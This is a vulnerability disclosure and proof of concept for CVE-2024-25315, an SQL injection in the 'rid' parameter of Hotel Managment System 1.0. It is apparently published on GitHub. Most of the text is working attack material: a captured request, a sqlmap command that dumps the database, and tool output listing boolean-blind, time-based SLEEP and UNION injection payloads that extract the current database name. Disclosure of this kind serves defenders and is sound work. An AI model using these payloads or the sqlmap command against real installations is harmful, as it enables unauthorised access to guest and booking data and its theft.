Skip to content

Latest commit

 

History

History
61 lines (51 loc) · 2.53 KB

Hotel Managment System - SQL Injection-1.md

File metadata and controls

61 lines (51 loc) · 2.53 KB

CVE-2024-25315 - Hotel Managment System - SQL Injection-1

Description:

Hotel Managment System 1.0, allows SQL Injection via the 'rid' parameter in Hotel/admin/roombook.php?rid=2. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit the latest vulnerabilities in the underlying database.

Proof of Concept:

  • Go to this address: http://localhost/Hotel/admin/home.php
  • Click Room Booking Section and click 'action' button
  • Capture the request via Burp Suite and send it to the Repeater.
  • Copy the request and paste it into an "r.txt" file.
  • Captured Burp request:
GET /Hotel/admin/roombook.php?rid=2 HTTP/1.1
Host: localhost
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
  • Use sqlmap to exploit. In sqlmap, use 'rid' parameter to dump the database.
python sqlmap.py -r r.txt -p rid --risk 3 --level 5 --dbms mysql --proxy="http://127.0.0.1:8080" --batch --current-db
---
Parameter: rid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: rid=2' AND 7394=7394-- Yhwg

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: rid=2' AND (SELECT 3298 FROM (SELECT(SLEEP(5)))AFBF)-- ADNe

    Type: UNION query
    Title: Generic UNION query (NULL) - 16 columns
    Payload: rid=2' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71716a6271,0x674c4e4f475061485664626e5363417a72717a626d5841694a4a5245594d59666c674e627342624a,0x7171787071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[18:52:45] [INFO] the back-end DBMS is MySQL
web application technology: PHP 8.2.12, Apache 2.4.58
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[18:52:45] [INFO] fetching current database
current database: 'hotel'
  • current database : hotel

Ekran görüntüsü 2024-02-02 025337